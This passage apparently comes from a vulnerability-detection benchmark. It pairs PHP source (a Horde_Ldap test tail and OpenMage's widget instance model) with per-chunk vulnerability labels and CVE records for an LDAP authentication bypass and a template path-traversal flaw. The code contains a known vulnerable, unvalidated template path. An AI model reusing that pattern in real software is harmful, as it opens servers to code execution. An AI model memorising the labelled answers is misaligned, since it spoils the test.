Horde_Ldap(self::$ldapcfg['server']);\n $this->assertTrue(is_resource($ldap->getLink()));\n }\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [213, 83], "buggy_code_start_loc": [209, 83], "filenames": ["framework/Ldap/lib/Horde/Ldap.php", "framework/Ldap/test/Horde/Ldap/LdapTest.php"], "fixing_code_end_loc": [213, 97], "fixing_code_start_loc": [209, 84], "message": "The Horde_Ldap library before 2.0.6 for Horde allows remote attackers to bypass authentication by leveraging knowledge of the LDAP bind user DN.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:horde:horde_ldap:*:*:*:*:*:horde:*:*", "matchCriteriaId": "7620D38C-DA8C-4183-9139-5B019DA7112C", "versionEndExcluding": "2.0.6", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "The Horde_Ldap library before 2.0.6 for Horde allows remote attackers to bypass authentication by leveraging knowledge of the LDAP bind user DN."}, {"lang": "es", "value": "La biblioteca Horde_Ldap en versiones anteriores a la 2.0.6 para Horde permite que atacantes remotos omitan la autenticaci\u00f3n aprovechando el conocimiento del DN del usuario bind LDAP."}], "evaluatorComment": null, "id": "CVE-2014-3999", "lastModified": "2018-05-18T13:23:25.737", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.1, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 2.2, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV31": null}, "published": "2018-04-10T15:29:00.877", "references": [{"source": "cve@mitre.org", "tags": ["Mailing List"], "url": "http://www.openwall.com/lists/oss-security/2014/06/14/1"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory", "VDB Entry"], "url": "http://www.securityfocus.com/bid/68014"}, {"source": "cve@mitre.org", "tags": ["Issue Tracking"], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1109628"}, {"source": "cve@mitre.org", "tags": ["Patch"], "url": "https://github.com/horde/horde/commit/4c3e18f1724ab39bfef10c189a5b52036a744d55"}, {"source": "cve@mitre.org", "tags": ["Mailing List"], "url": "https://marc.info/?l=horde-announce&m=140178644816474&w=2"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-287"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/horde/horde/commit/4c3e18f1724ab39bfef10c189a5b52036a744d55"}, "type": "CWE-287"}
149
Determine whether the {function_name} code is vulnerable or not.
[ "<?php\n/**\n * Magento\n *\n * NOTICE OF LICENSE\n *\n * This source file is subject to the Open Software License (OSL 3.0)\n * that is bundled with this package in the file LICENSE.txt.\n * It is also available through the world-wide-web at this URL:\n * http://opensource.org/licenses/osl-3.0.php\n * If you did not receive a copy of the license and are unable to\n * obtain it through the world-wide-web, please send an email\n * to license@magento.com so we can send you a copy immediately.\n *\n * DISCLAIMER\n *\n * Do not edit or add to this file if you wish to upgrade Magento to newer\n * versions in the future. If you wish to customize Magento for your\n * needs please refer to http://www.magento.com for more information.\n *\n * @category Mage\n * @package Mage_Widget\n * @copyright Copyright (c) 2006-2020 Magento, Inc. (http://www.magento.com)\n * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)\n */", "/**\n * Widget Instance Model\n *\n * @method Mage_Widget_Model_Resource_Widget_Instance _getResource()\n * @method Mage_Widget_Model_Resource_Widget_Instance getResource()\n * @method Mage_Widget_Model_Resource_Widget_Instance_Collection getCollection()\n *\n * @method array getPageGroups()\n * @method $this setPageGroups(array $value)\n * @method $this setStoreIds(string $value)\n * @method string getTitle()\n * @method $this setTitle(string $value)\n * @method $this setWidgetParameters(string $value)\n * @method int getSortOrder()\n * @method $this setSortOrder(int $value)\n *\n * @category Mage\n * @package Mage_Widget\n * @author Magento Core Team <core@magentocommerce.com>\n */\nclass Mage_Widget_Model_Widget_Instance extends Mage_Core_Model_Abstract\n{\n const SPECIFIC_ENTITIES = 'specific';\n const ALL_ENTITIES = 'all';", " const DEFAULT_LAYOUT_HANDLE = 'default';\n const PRODUCT_LAYOUT_HANDLE = 'catalog_product_view';\n const SINGLE_PRODUCT_LAYOUT_HANLDE = 'PRODUCT_{{ID}}';\n const PRODUCT_TYPE_LAYOUT_HANDLE = 'PRODUCT_TYPE_{{TYPE}}';\n const ANCHOR_CATEGORY_LAYOUT_HANDLE = 'catalog_category_layered';\n const NOTANCHOR_CATEGORY_LAYOUT_HANDLE = 'catalog_category_default';\n const SINGLE_CATEGORY_LAYOUT_HANDLE = 'CATEGORY_{{ID}}';", " const XML_NODE_RELATED_CACHE = 'global/widget/related_cache_types';", " protected $_layoutHandles = array();", " protected $_specificEntitiesLayoutHandles = array();", " /**\n * @var Varien_Simplexml_Element\n */\n protected $_widgetConfigXml = null;", " /**\n * Prefix of model events names\n *\n * @var string\n */\n protected $_eventPrefix = 'widget_widget_instance';", " /**\n * Internal Constructor\n */\n protected function _construct()\n {\n $this->_cacheTag = 'widget_instance';\n parent::_construct();\n $this->_init('widget/widget_instance');\n $this->_layoutHandles = array(\n 'anchor_categories' => self::ANCHOR_CATEGORY_LAYOUT_HANDLE,\n 'notanchor_categories' => self::NOTANCHOR_CATEGORY_LAYOUT_HANDLE,\n 'all_products' => self::PRODUCT_LAYOUT_HANDLE,\n 'all_pages' => self::DEFAULT_LAYOUT_HANDLE\n );\n $this->_specificEntitiesLayoutHandles = array(\n 'anchor_categories' => self::SINGLE_CATEGORY_LAYOUT_HANDLE,\n 'notanchor_categories' => self::SINGLE_CATEGORY_LAYOUT_HANDLE,\n 'all_products' => self::SINGLE_PRODUCT_LAYOUT_HANLDE,\n );\n foreach (Mage_Catalog_Model_Product_Type::getTypes() as $typeId => $type) {\n $layoutHandle = str_replace('{{TYPE}}', $typeId, self::PRODUCT_TYPE_LAYOUT_HANDLE);\n $this->_layoutHandles[$typeId . '_products'] = $layoutHandle;\n $this->_specificEntitiesLayoutHandles[$typeId . '_products'] = self::SINGLE_PRODUCT_LAYOUT_HANLDE;\n }\n }", " /**\n * Init mapping array of short fields to\n * its full names\n *\n * @return Varien_Object\n */\n protected function _initOldFieldsMap()\n {\n $this->_oldFieldsMap = array(\n 'type' => 'instance_type',\n );\n return $this;\n }", " /**\n * Processing object before save data\n *\n * @inheritDoc\n */\n protected function _beforeSave()\n {\n $pageGroupIds = array();\n $tmpPageGroups = array();\n $pageGroups = $this->getData('page_groups');\n if ($pageGroups) {\n foreach ($pageGroups as $pageGroup) {\n if (isset($pageGroup[$pageGroup['page_group']])) {\n $pageGroupData = $pageGroup[$pageGroup['page_group']];\n if ($pageGroupData['page_id']) {\n $pageGroupIds[] = $pageGroupData['page_id'];\n }\n if ($pageGroup['page_group'] == 'pages') {\n $layoutHandle = $pageGroupData['layout_handle'];\n } else {\n $layoutHandle = $this->_layoutHandles[$pageGroup['page_group']];\n }\n if (!isset($pageGroupData['template'])) {\n $pageGroupData['template'] = '';\n }\n $tmpPageGroup = array(\n 'page_id' => $pageGroupData['page_id'],\n 'group' => $pageGroup['page_group'],\n 'layout_handle' => $layoutHandle,\n 'for' => $pageGroupData['for'],\n 'block_reference' => $pageGroupData['block'],\n 'entities' => '',\n 'layout_handle_updates' => array($layoutHandle),\n 'template' => $pageGroupData['template']?$pageGroupData['template']:''\n );\n if ($pageGroupData['for'] == self::SPECIFIC_ENTITIES) {\n $layoutHandleUpdates = array();\n foreach (explode(',', $pageGroupData['entities']) as $entity) {\n $layoutHandleUpdates[] = str_replace(\n '{{ID}}',\n $entity,\n $this->_specificEntitiesLayoutHandles[$pageGroup['page_group']]\n );\n }\n $tmpPageGroup['entities'] = $pageGroupData['entities'];\n $tmpPageGroup['layout_handle_updates'] = $layoutHandleUpdates;\n }\n $tmpPageGroups[] = $tmpPageGroup;\n }\n }\n }\n if (is_array($this->getData('store_ids'))) {\n $this->setData('store_ids', implode(',', $this->getData('store_ids')));\n }\n if (is_array($this->getData('widget_parameters'))) {\n $this->setData('widget_parameters', serialize($this->getData('widget_parameters')));\n }\n $this->setData('page_groups', $tmpPageGroups);\n $this->setData('page_group_ids', $pageGroupIds);", " return parent::_beforeSave();\n }", " /**\n * Validate widget instance data\n *\n * @return string|boolean\n */\n public function validate()\n {\n if ($this->isCompleteToCreate()) {\n return true;\n }\n return Mage::helper('widget')->__('Widget instance is not full complete to create.');\n }", " /**\n * Check if widget instance has required data (other data depends on it)\n *\n * @return boolean\n */\n public function isCompleteToCreate()\n {\n return (bool)($this->getType() && $this->getPackageTheme());\n }", " /**\n * Setter\n * Prepare widget type\n *\n * @param string $type\n * @return $this\n */\n public function setType($type)\n {\n $this->setData('type', $type);\n $this->_prepareType();\n return $this;\n }", " /**\n * Getter\n * Prepare widget type\n *\n * @return string\n */\n public function getType()\n {\n $this->_prepareType();\n return $this->_getData('type');\n }", " /**\n * Replace '-' to '/', if was passed from request(GET request)\n *\n * @return $this\n */\n protected function _prepareType()\n {\n if (strpos($this->_getData('type'), '-') >= 0) {\n $this->setData('type', str_replace('-', '/', $this->_getData('type')));\n }\n return $this;\n }", " /**\n * Setter\n * Prepare widget package theme\n *\n * @param string $packageTheme\n * @return $this\n */\n public function setPackageTheme($packageTheme)\n {\n $this->setData('package_theme', $packageTheme);\n return $this;\n }", " /**\n * Getter\n * Prepare widget package theme\n *\n * @return string\n */\n public function getPackageTheme()\n {\n return $this->_getData('package_theme');\n }", " /**\n * Replace '_' to '/', if was set from request(GET request)\n *\n * @deprecated after 1.6.1.0-alpha1\n *\n * @return $this\n */\n protected function _preparePackageTheme()\n {\n return $this;\n }", " /**\n * Getter.\n * If not set return default\n *\n * @return string\n */\n public function getArea()\n {\n if (!$this->_getData('area')) {\n return Mage_Core_Model_Design_Package::DEFAULT_AREA;\n }\n return $this->_getData('area');\n }", " /**\n * Getter\n *\n * @return string\n */\n public function getPackage()\n {\n if (!$this->_getData('package')) {\n $this->_parsePackageTheme();\n }\n return $this->_getData('package');\n }", " /**\n * Getter\n *\n * @return string\n */\n public function getTheme()\n {\n if (!$this->_getData('theme')) {\n $this->_parsePackageTheme();\n }\n return $this->_getData('theme');\n }", " /**\n * Parse packageTheme and set parsed package and theme\n *\n * @return $this\n */\n protected function _parsePackageTheme()\n {\n if ($this->getPackageTheme() && strpos($this->getPackageTheme(), '/')) {\n list($package, $theme) = explode('/', $this->getPackageTheme());\n $this->setData('package', $package);\n $this->setData('theme', $theme);\n }\n return $this;\n }", " /**\n * Getter\n * Explode to array if string setted\n *\n * @return array\n */\n public function getStoreIds()\n {\n if (is_string($this->getData('store_ids'))) {\n return explode(',', $this->getData('store_ids'));\n }\n return $this->getData('store_ids');\n }", " /**\n * Getter\n * Unserialize if serialized string setted\n *\n * @return array\n */\n public function getWidgetParameters()\n {\n if (is_string($this->getData('widget_parameters'))) {\n try {\n return Mage::helper('core/unserializeArray')->unserialize($this->getData('widget_parameters'));\n } catch (Exception $e) {\n Mage::logException($e);\n }\n }\n return (is_array($this->getData('widget_parameters'))) ? $this->getData('widget_parameters') : array();\n }", " /**\n * Retrieve option array of widget types\n *\n * @return array\n */\n public function getWidgetsOptionArray()\n {\n $widgets = array();\n $widgetsArr = Mage::getSingleton('widget/widget')->getWidgetsArray();\n foreach ($widgetsArr as $widget) {\n $widgets[] = array(\n 'value' => $widget['type'],\n 'label' => $widget['name']\n );\n }\n return $widgets;\n }", " /**\n * Load widget XML config and merge with theme widget config\n *\n * @return Varien_Simplexml_Element|null\n */\n public function getWidgetConfig()\n {\n if ($this->_widgetConfigXml === null) {\n $this->_widgetConfigXml = Mage::getSingleton('widget/widget')\n ->getXmlElementByType($this->getType());\n if ($this->_widgetConfigXml) {\n $configFile = Mage::getSingleton('core/design_package')->getBaseDir(array(\n '_area' => $this->getArea(),\n '_package' => $this->getPackage(),\n '_theme' => $this->getTheme(),\n '_type' => 'etc'\n )) . DS . 'widget.xml';\n if (is_readable($configFile)) {\n $themeWidgetsConfig = new Varien_Simplexml_Config();\n $themeWidgetsConfig->loadFile($configFile);\n if ($themeWidgetTypeConfig = $themeWidgetsConfig->getNode($this->_widgetConfigXml->getName())) {\n $this->_widgetConfigXml->extend($themeWidgetTypeConfig);\n }\n }\n }\n }\n return $this->_widgetConfigXml;\n }", " /**\n * Retrieve widget availabel templates\n *\n * @return array\n */\n public function getWidgetTemplates()\n {\n $templates = array();\n if ($this->getWidgetConfig() && ($configTemplates = $this->getWidgetConfig()->parameters->template)) {\n if ($configTemplates->values && $configTemplates->values->children()) {\n foreach ($configTemplates->values->children() as $name => $template) {\n $helper = $template->getAttribute('module') ? $template->getAttribute('module') : 'widget';\n $templates[(string)$name] = array(\n 'value' => (string)$template->value,\n 'label' => Mage::helper($helper)->__((string)$template->label)\n );\n }\n } elseif ($configTemplates->value) {\n $templates['default'] = array(\n 'value' => (string)$configTemplates->value,\n 'label' => Mage::helper('widget')->__('Default Template')\n );\n }\n }\n return $templates;\n }", " /**\n * Retrieve blocks that widget support\n *\n * @return array\n */\n public function getWidgetSupportedBlocks()\n {\n $blocks = array();\n if ($this->getWidgetConfig() && ($supportedBlocks = $this->getWidgetConfig()->supported_blocks)) {\n foreach ($supportedBlocks->children() as $block) {\n $blocks[] = (string)$block->block_name;\n }\n }\n return $blocks;\n }", " /**\n * Retrieve widget templates that supported by given block reference\n *\n * @param string $blockReference\n * @return array\n */\n public function getWidgetSupportedTemplatesByBlock($blockReference)\n {\n $templates = array();\n $widgetTemplates = $this->getWidgetTemplates();\n if ($this->getWidgetConfig()) {\n if (!($supportedBlocks = $this->getWidgetConfig()->supported_blocks)) {\n return $widgetTemplates;\n }\n foreach ($supportedBlocks->children() as $block) {\n if ((string)$block->block_name == $blockReference) {\n if ($block->template && $block->template->children()) {\n foreach ($block->template->children() as $template) {\n if (isset($widgetTemplates[(string)$template])) {\n $templates[] = $widgetTemplates[(string)$template];\n }\n }\n } else {\n $templates[] = $widgetTemplates[(string)$template];\n }\n }\n }\n } else {\n return $widgetTemplates;\n }\n return $templates;\n }", " /**\n * Generate layout update xml\n *\n * @param string $blockReference\n * @param string $templatePath\n * @return string\n */\n public function generateLayoutUpdateXml($blockReference, $templatePath = '')\n {", "", " $templateFilename = Mage::getSingleton('core/design_package')->getTemplateFilename($templatePath, array(\n '_area' => $this->getArea(),\n '_package' => $this->getPackage(),\n '_theme' => $this->getTheme()\n ));\n if (!$this->getId() && !$this->isCompleteToCreate()\n || ($templatePath && !is_readable($templateFilename))) {\n return '';\n }\n $parameters = $this->getWidgetParameters();\n $xml = '<reference name=\"' . $blockReference . '\">';\n $template = '';\n if (isset($parameters['template'])) {\n unset($parameters['template']);\n }\n if ($templatePath) {\n $template = ' template=\"' . $templatePath . '\"';\n }", " $hash = Mage::helper('core')->uniqHash();\n $xml .= '<block type=\"' . $this->getType() . '\" name=\"' . $hash . '\"' . $template . '>';\n foreach ($parameters as $name => $value) {\n if (is_array($value)) {\n $value = implode(',', $value);\n }\n if ($name && strlen((string)$value)) {\n $xml .= '<action method=\"setData\">'\n . '<name>' . $name . '</name>'\n . '<value>' . Mage::helper('widget')->escapeHtml($value) . '</value>'\n . '</action>';\n }\n }\n $xml .= '</block></reference>';", " return $xml;\n }", " /**\n * Invalidate related cache types\n *\n * @return $this\n */\n protected function _invalidateCache()\n {\n $types = Mage::getConfig()->getNode(self::XML_NODE_RELATED_CACHE);\n if ($types) {\n $types = $types->asArray();\n Mage::app()->getCacheInstance()->invalidateType(array_keys($types));\n }\n return $this;\n }", " /**\n * Invalidate related cache if instance contain layout updates\n */\n protected function _afterSave()\n {\n if ($this->dataHasChangedFor('page_groups') || $this->dataHasChangedFor('widget_parameters')) {\n $this->_invalidateCache();\n }\n return parent::_afterSave();\n }", " /**\n * Invalidate related cache if instance contain layout updates\n */\n protected function _beforeDelete()\n {\n if ($this->getPageGroups()) {\n $this->_invalidateCache();\n }\n return parent::_beforeDelete();\n }\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [497], "buggy_code_start_loc": [497], "filenames": ["app/code/core/Mage/Widget/Model/Widget/Instance.php"], "fixing_code_end_loc": [503], "fixing_code_start_loc": [498], "message": "OpenMage is a community-driven alternative to Magento CE. In OpenMage before versions 19.4.10 and 20.0.5, there is a vulnerability which enables remote code execution. In affected versions an administrator with permission to import/export data and to create widget instances was able to inject an executable file on the server. The latest OpenMage Versions up from 19.4.9 and 20.0.5 have this Issue solved", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:openmage:openmage:*:*:*:*:lts:*:*:*", "matchCriteriaId": "E706EF46-D4ED-40AD-B1D8-EAA875FB326B", "versionEndExcluding": "19.4.10", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:openmage:openmage:*:*:*:*:lts:*:*:*", "matchCriteriaId": "4258600B-5C75-41D6-A9C8-6D6AABC6CBF3", "versionEndExcluding": "20.0.5", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "20.0.0", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "OpenMage is a community-driven alternative to Magento CE. In OpenMage before versions 19.4.10 and 20.0.5, there is a vulnerability which enables remote code execution. In affected versions an administrator with permission to import/export data and to create widget instances was able to inject an executable file on the server. The latest OpenMage Versions up from 19.4.9 and 20.0.5 have this Issue solved"}, {"lang": "es", "value": "OpenMage es una alternativa impulsada por la comunidad a Magento CE. En OpenMage versiones anteriores a 19.4.10 y 20.0.5, se presenta una vulnerabilidad que permite una ejecuci\u00f3n de c\u00f3digo remota. En las versiones afectadas, un administrador con permiso para importar/exportar datos y crear instancias de widgets pudo inyectar un archivo ejecutable en el servidor. Las \u00faltimas versiones de OpenMage hasta 19.4.9 y 20.0.5 tienen este problema solucionado"}], "evaluatorComment": null, "id": "CVE-2020-26285", "lastModified": "2021-01-28T16:21:54.703", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.2, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.2, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 8.7, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 5.8, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-01-21T14:15:12.620", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/OpenMage/magento-lts/commit/4132668f5009f17456fe644742026f56d2297586"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/OpenMage/magento-lts/releases/tag/v19.4.10"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-hj6w-xrv3-wjj9"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-434"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/OpenMage/magento-lts/commit/4132668f5009f17456fe644742026f56d2297586"}, "type": "CWE-22"}
150
Determine whether the {function_name} code is vulnerable or not.
[ "<?php\n/**\n * Magento\n *\n * NOTICE OF LICENSE\n *\n * This source file is subject to the Open Software License (OSL 3.0)\n * that is bundled with this package in the file LICENSE.txt.\n * It is also available through the world-wide-web at this URL:\n * http://opensource.org/licenses/osl-3.0.php\n * If you did not receive a copy of the license and are unable to\n * obtain it through the world-wide-web, please send an email\n * to license@magento.com so we can send you a copy immediately.\n *\n * DISCLAIMER\n *\n * Do not edit or add to this file if you wish to upgrade Magento to newer\n * versions in the future. If you wish to customize Magento for your\n * needs please refer to http://www.magento.com for more information.\n *\n * @category Mage\n * @package Mage_Widget\n * @copyright Copyright (c) 2006-2020 Magento, Inc. (http://www.magento.com)\n * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)\n */", "/**\n * Widget Instance Model\n *\n * @method Mage_Widget_Model_Resource_Widget_Instance _getResource()\n * @method Mage_Widget_Model_Resource_Widget_Instance getResource()\n * @method Mage_Widget_Model_Resource_Widget_Instance_Collection getCollection()\n *\n * @method array getPageGroups()\n * @method $this setPageGroups(array $value)\n * @method $this setStoreIds(string $value)\n * @method string getTitle()\n * @method $this setTitle(string $value)\n * @method $this setWidgetParameters(string $value)\n * @method int getSortOrder()\n * @method $this setSortOrder(int $value)\n *\n * @category Mage\n * @package Mage_Widget\n * @author Magento Core Team <core@magentocommerce.com>\n */\nclass Mage_Widget_Model_Widget_Instance extends Mage_Core_Model_Abstract\n{\n const SPECIFIC_ENTITIES = 'specific';\n const ALL_ENTITIES = 'all';", " const DEFAULT_LAYOUT_HANDLE = 'default';\n const PRODUCT_LAYOUT_HANDLE = 'catalog_product_view';\n const SINGLE_PRODUCT_LAYOUT_HANLDE = 'PRODUCT_{{ID}}';\n const PRODUCT_TYPE_LAYOUT_HANDLE = 'PRODUCT_TYPE_{{TYPE}}';\n const ANCHOR_CATEGORY_LAYOUT_HANDLE = 'catalog_category_layered';\n const NOTANCHOR_CATEGORY_LAYOUT_HANDLE = 'catalog_category_default';\n const SINGLE_CATEGORY_LAYOUT_HANDLE = 'CATEGORY_{{ID}}';", " const XML_NODE_RELATED_CACHE = 'global/widget/related_cache_types';", " protected $_layoutHandles = array();", " protected $_specificEntitiesLayoutHandles = array();", " /**\n * @var Varien_Simplexml_Element\n */\n protected $_widgetConfigXml = null;", " /**\n * Prefix of model events names\n *\n * @var string\n */\n protected $_eventPrefix = 'widget_widget_instance';", " /**\n * Internal Constructor\n */\n protected function _construct()\n {\n $this->_cacheTag = 'widget_instance';\n parent::_construct();\n $this->_init('widget/widget_instance');\n $this->_layoutHandles = array(\n 'anchor_categories' => self::ANCHOR_CATEGORY_LAYOUT_HANDLE,\n 'notanchor_categories' => self::NOTANCHOR_CATEGORY_LAYOUT_HANDLE,\n 'all_products' => self::PRODUCT_LAYOUT_HANDLE,\n 'all_pages' => self::DEFAULT_LAYOUT_HANDLE\n );\n $this->_specificEntitiesLayoutHandles = array(\n 'anchor_categories' => self::SINGLE_CATEGORY_LAYOUT_HANDLE,\n 'notanchor_categories' => self::SINGLE_CATEGORY_LAYOUT_HANDLE,\n 'all_products' => self::SINGLE_PRODUCT_LAYOUT_HANLDE,\n );\n foreach (Mage_Catalog_Model_Product_Type::getTypes() as $typeId => $type) {\n $layoutHandle = str_replace('{{TYPE}}', $typeId, self::PRODUCT_TYPE_LAYOUT_HANDLE);\n $this->_layoutHandles[$typeId . '_products'] = $layoutHandle;\n $this->_specificEntitiesLayoutHandles[$typeId . '_products'] = self::SINGLE_PRODUCT_LAYOUT_HANLDE;\n }\n }", " /**\n * Init mapping array of short fields to\n * its full names\n *\n * @return Varien_Object\n */\n protected function _initOldFieldsMap()\n {\n $this->_oldFieldsMap = array(\n 'type' => 'instance_type',\n );\n return $this;\n }", " /**\n * Processing object before save data\n *\n * @inheritDoc\n */\n protected function _beforeSave()\n {\n $pageGroupIds = array();\n $tmpPageGroups = array();\n $pageGroups = $this->getData('page_groups');\n if ($pageGroups) {\n foreach ($pageGroups as $pageGroup) {\n if (isset($pageGroup[$pageGroup['page_group']])) {\n $pageGroupData = $pageGroup[$pageGroup['page_group']];\n if ($pageGroupData['page_id']) {\n $pageGroupIds[] = $pageGroupData['page_id'];\n }\n if ($pageGroup['page_group'] == 'pages') {\n $layoutHandle = $pageGroupData['layout_handle'];\n } else {\n $layoutHandle = $this->_layoutHandles[$pageGroup['page_group']];\n }\n if (!isset($pageGroupData['template'])) {\n $pageGroupData['template'] = '';\n }\n $tmpPageGroup = array(\n 'page_id' => $pageGroupData['page_id'],\n 'group' => $pageGroup['page_group'],\n 'layout_handle' => $layoutHandle,\n 'for' => $pageGroupData['for'],\n 'block_reference' => $pageGroupData['block'],\n 'entities' => '',\n 'layout_handle_updates' => array($layoutHandle),\n 'template' => $pageGroupData['template']?$pageGroupData['template']:''\n );\n if ($pageGroupData['for'] == self::SPECIFIC_ENTITIES) {\n $layoutHandleUpdates = array();\n foreach (explode(',', $pageGroupData['entities']) as $entity) {\n $layoutHandleUpdates[] = str_replace(\n '{{ID}}',\n $entity,\n $this->_specificEntitiesLayoutHandles[$pageGroup['page_group']]\n );\n }\n $tmpPageGroup['entities'] = $pageGroupData['entities'];\n $tmpPageGroup['layout_handle_updates'] = $layoutHandleUpdates;\n }\n $tmpPageGroups[] = $tmpPageGroup;\n }\n }\n }\n if (is_array($this->getData('store_ids'))) {\n $this->setData('store_ids', implode(',', $this->getData('store_ids')));\n }\n if (is_array($this->getData('widget_parameters'))) {\n $this->setData('widget_parameters', serialize($this->getData('widget_parameters')));\n }\n $this->setData('page_groups', $tmpPageGroups);\n $this->setData('page_group_ids', $pageGroupIds);", " return parent::_beforeSave();\n }", " /**\n * Validate widget instance data\n *\n * @return string|boolean\n */\n public function validate()\n {\n if ($this->isCompleteToCreate()) {\n return true;\n }\n return Mage::helper('widget')->__('Widget instance is not full complete to create.');\n }", " /**\n * Check if widget instance has required data (other data depends on it)\n *\n * @return boolean\n */\n public function isCompleteToCreate()\n {\n return (bool)($this->getType() && $this->getPackageTheme());\n }", " /**\n * Setter\n * Prepare widget type\n *\n * @param string $type\n * @return $this\n */\n public function setType($type)\n {\n $this->setData('type', $type);\n $this->_prepareType();\n return $this;\n }", " /**\n * Getter\n * Prepare widget type\n *\n * @return string\n */\n public function getType()\n {\n $this->_prepareType();\n return $this->_getData('type');\n }", " /**\n * Replace '-' to '/', if was passed from request(GET request)\n *\n * @return $this\n */\n protected function _prepareType()\n {\n if (strpos($this->_getData('type'), '-') >= 0) {\n $this->setData('type', str_replace('-', '/', $this->_getData('type')));\n }\n return $this;\n }", " /**\n * Setter\n * Prepare widget package theme\n *\n * @param string $packageTheme\n * @return $this\n */\n public function setPackageTheme($packageTheme)\n {\n $this->setData('package_theme', $packageTheme);\n return $this;\n }", " /**\n * Getter\n * Prepare widget package theme\n *\n * @return string\n */\n public function getPackageTheme()\n {\n return $this->_getData('package_theme');\n }", " /**\n * Replace '_' to '/', if was set from request(GET request)\n *\n * @deprecated after 1.6.1.0-alpha1\n *\n * @return $this\n */\n protected function _preparePackageTheme()\n {\n return $this;\n }", " /**\n * Getter.\n * If not set return default\n *\n * @return string\n */\n public function getArea()\n {\n if (!$this->_getData('area')) {\n return Mage_Core_Model_Design_Package::DEFAULT_AREA;\n }\n return 